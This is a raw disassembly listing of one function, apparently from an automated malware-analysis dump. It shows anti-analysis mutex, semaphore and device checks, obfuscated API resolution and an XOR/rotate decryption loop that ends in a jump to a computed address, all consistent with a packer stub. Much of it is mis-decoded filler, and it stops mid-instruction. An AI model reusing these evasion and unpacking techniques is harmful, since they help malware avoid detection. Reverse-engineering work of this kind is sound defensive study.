Function at 0x403730
Capabilities:
Get disk information

Disassembly:
call 0x403730
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x93
add dword [eax], 0xc704ec83
add al, 0x24
mov eax, dword [ecx + 0x15ff0040]
push 0x2e00405b
call 0x403d06
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4081870d], cl
add byte [ecx - 1], dl
adc eax, sym.imp.kernel32.dll_CloseHandle
sub esp, 4
mov dword [esp], str.akrgbcnldwttg
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
cmp eax, 0
jne 0x403a0d
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xb8
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
test eax, eax
jne 0x4031c6
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xb8
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
cmp eax, 0
jne 0x4039d2
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403639
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebp + 0x5c], dl
push ebp
pop esp
push ebp
pop esp
mov ebp, dword [esp]
add esp, 4
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x7a
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
or eax, eax
jne fcn.00403207
sub esp, 4
mov dword [esp], str.akrgbcnldwttg
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
or eax, eax
jne fcn.00403207
call fcn.00403e0e
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x93
add dword [eax], 0xc704ec83
add al, 0x24
mov eax, dword [ecx + 0x15ff0040]
push 0x8b00405b
xor eax, 0x408187
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 9], ch
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne fcn.00403207
sub esp, 4
mov dword [esp], 0x408193
sub esp, 4
mov dword [esp], 0x40818b
call dword [sym.imp.kernel32.dll_SystemTimeToFileTime]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx + 0x408187], ah
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x93
add dword [eax], 0xc704ec83
add al, 0x24
mov eax, dword [ecx + 0x15ff0040]
push 0x2e00405b
call fcn.00403e0e
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x93
add dword [eax], 0xc704ec83
add al, 0x24
mov eax, dword [ecx + 0x15ff0040]
push 0x8300405b
in al, dx
add al, 0xc7
add al, 0x24
jp 0x403471
inc eax
add byte [edx + 1], ch
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
cmp eax, 0
jne 0x403173
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx + 0x408187], ah
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x93
add dword [eax], 0xc704ec83
add al, 0x24
mov eax, dword [ecx + 0x15ff0040]
push 0x8300405b
in al, dx
add al, 0xc7
add al, 0x24
mov eax, 0x6a004081
add edi, edi
or al, 0x24
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
test eax, eax
jne 0x404b58
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], dh
dec dword [edi - 0x7f]
out 0xb6, eax
arpl sp, cx
xor ecx, ecx
sub ecx, 0x688
neg ecx
sub edx, edx
xor edx, 0x408206
push ecx
push edx
push 0x40
pop edx
pushal
popal
push edx
mov eax, 0x1000
push eax
mov edx, 0x688
push edx
push edx
pop edx
push 0
pop ebx
push ebx
mov esi, 0xffffffff
push esi
call fcn.0040362c
pop edx
pop ecx
test eax, eax
je fcn.00403207
lea esi, [eax]
push esi
xor ebx, ebx
dec ebx
and ebx, dword [edx]
lea edx, [edx + 4]
neg ebx
clc
sbb ebx, 0xf
ror ebx, 0xa
rol ebx, 2
xor ebx, edi
clc
adc ebx, 0xffffffff
push ebx
pop edi
rol edi, 8
push ebx
pop dword [esi]
clc
adc esi, 4
clc
sbb ecx, 4
test ecx, ecx
jne 0x4035ef
mov ebx, dword [sym.imp.kernel32.dll_LoadLibraryA]
pop esi
push ebx
push 0x4035a2
push esi
ret
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.004036e2
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 9], ch
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x403bc9
mov ecx, dword [0x408187]
push ecx
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 9], ch
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x40339e
mov edi, dword [0x408187]
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x7a
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
or eax, eax
jne 0x4049a3
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xb8
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
cmp eax, 0
jne 0x404851
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x7a
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
or eax, eax
jne 0x4032ba
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xb8
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
test eax, eax
jne 0x403479
mov eax, dword [0x408187]
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], str.akrgbcnldwttg
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
cmp eax, 0
jne 0x404a1b
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x93
add dword [eax], 0xc704ec83
add al, 0x24
mov eax, dword [ecx + 0x15ff0040]
push 0x2e00405b
call fcn.00403e0e
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4081873d], cl
add byte [edi - 1], dl
adc eax, sym.imp.kernel32.dll_CloseHandle
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x7a
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
test eax, eax
jne 0x403709
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xb8
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
test eax, eax
jne 0x4033b8
mov edi, dword [0x408187]
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x7a
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
cmp eax, 0
jne 0x403322
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 9], ch
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x403bfd
sub esp, 4
mov dword [esp], 0x408193
sub esp, 4
mov dword [esp], 0x40818b
call dword [sym.imp.kernel32.dll_SystemTimeToFileTime]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 9], ch
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne fcn.00403207
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xb8
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
cmp eax, 0
jne 0x4033ec
push 9
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x4033ec
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x93
add dword [eax], 0xc704ec83
add al, 0x24
mov eax, dword [ecx + 0x15ff0040]
push 0x8b00405b
cmp eax, 0x408187
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403207
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xb8
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
cmp eax, 0
jne 0x4044c1
sub esp, 4
mov dword [esp], str.akrgbcnldwttg
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
or eax, eax
jne 0x4044c1
call 0x403a82
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0xb8
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
cmp eax, 0
jne fcn.00403207
mov edi, dword [0x408187]
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x40818735], cl
add byte [esi - 1], dl
adc eax, sym.imp.kernel32.dll_CloseHandle
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 0x7f], ah
cmp bp, 0xfe00
jb fcn.00403207
push 0x1e
push 0
push 1
mov eax, dword [sym.imp.kernel32.dll_SleepEx]
call eax
dec dword [esp]
jne 0x403e1b
add esp, 4
mov dword [0x408173], 0x2210aaff
sub esp, 4
mov dword [esp], str.hxqitihwmjms
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
test eax, eax
jne fcn.00403207
mov word [0x408155], 0x656b
mov dword [0x408157], 0x6c656e72
push 0x408155
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov dword [0x40813e], eax
push str.Virtu_lAllocEx
push eax
mov word [0x408146], 0x6175
push str.baad1ibraryA
mov word [str.baad1ibraryA], 0x6f4c
mov word [0x408131], 0x694c
push eax
lea eax, sym.imp.kernel32.dll_GetProcAddress
call dword [eax]
push eax
pop dword [0x40813a]
mov word [str.bcobjapi.dll], 0x636e
push str.bcobjapi.dll
call eax
test eax, eax
je fcn.00403207
push eax
sub esp, 4
mov dword [esp], str.akrgbcnldwttg
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
or eax, eax
jne fcn.00403207
pop eax
push eax
mov esi, dword [0x408187]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
pop eax
push eax
sub esp, 4
mov dword [esp], 0x408193
sub esp, 4
mov dword [esp], 0x40818b
call dword [sym.imp.kernel32.dll_SystemTimeToFileTime]
pop eax
push eax
pop edi
mov eax, dword [edi + 0x3c]
add edi, eax
add edi, 0xa0
mov dword [0x408117], edi
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x408151], eax
push 0
push 8
pop eax
pushal
popal
push eax
push 0x408117
push dword [0x408117]
sub eax, eax
dec eax
push eax
call dword [sym.imp.kernel32.dll_ReadProcessMemory]
push 9
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne fcn.00403207
mov eax, 0x100
cmp dword [0x40811b], 0xfff
ja fcn.00403207
cmp dword [0x40811b], eax
jb fcn.00403207
cmp esp, esp
jne 0x403fb3
add dword [0x408173], 0x12456734
lea eax, [0x4035a2]
add eax, 0xcba9edcd
add dword [0x408173], eax
jmp 0x403fd6
call dword [0x408173]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x7a
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
test eax, eax
jne 0x40477c
sub esp, 4
mov dword [esp], str.hxqitihwmjms
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
cmp eax, 0
jne 0x40477c
call fcn.00403e0e
add byte [eax], al
sub esp, 4
mov dword [esp], str.akrgbcnldwttg
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
test eax, eax
jne fcn.00403207
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x4c704ec], al
and al, 0x7a
add dword [eax], 0xcff016a
and al, 0x68
add dword [eax], eax
adc byte [eax], al
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
or eax, eax
jne 0x4032a0
sub esp, 4
mov dword [esp], str.hxqitihwmjms
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenSemaphoreA]
cmp eax, 0
jne 0x4032a0
call fcn.00403e0e
add byte [eax], al
push 9
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne fcn.00403207
sub esp, 4
mov dword [esp], str.akrgbcnldwttg
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
or eax, eax
jne fcn.00403207
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
sub esp, 4
mov dword [esp], str.akrgbcnldwttg
push 1
dec dword [esp]
push 0x100001
dec dword [esp]
call dword [sym.imp.kernel32.dll_OpenMutexW]
test eax, eax
jne 0x404628
mov edi, dword [0x408187]
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi], ch
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 9], ch
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x404659
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push 9
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
mov dword [esp], str.cggihtmryeqd
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne fcn.00403207
mov ecx, dword [0x408187]
push ecx
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
call fcn.00403e0e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 9], ch
dec dword [esp]
sub esp, 4
mov dword [esp], 0x4081b0
sub esp, 4
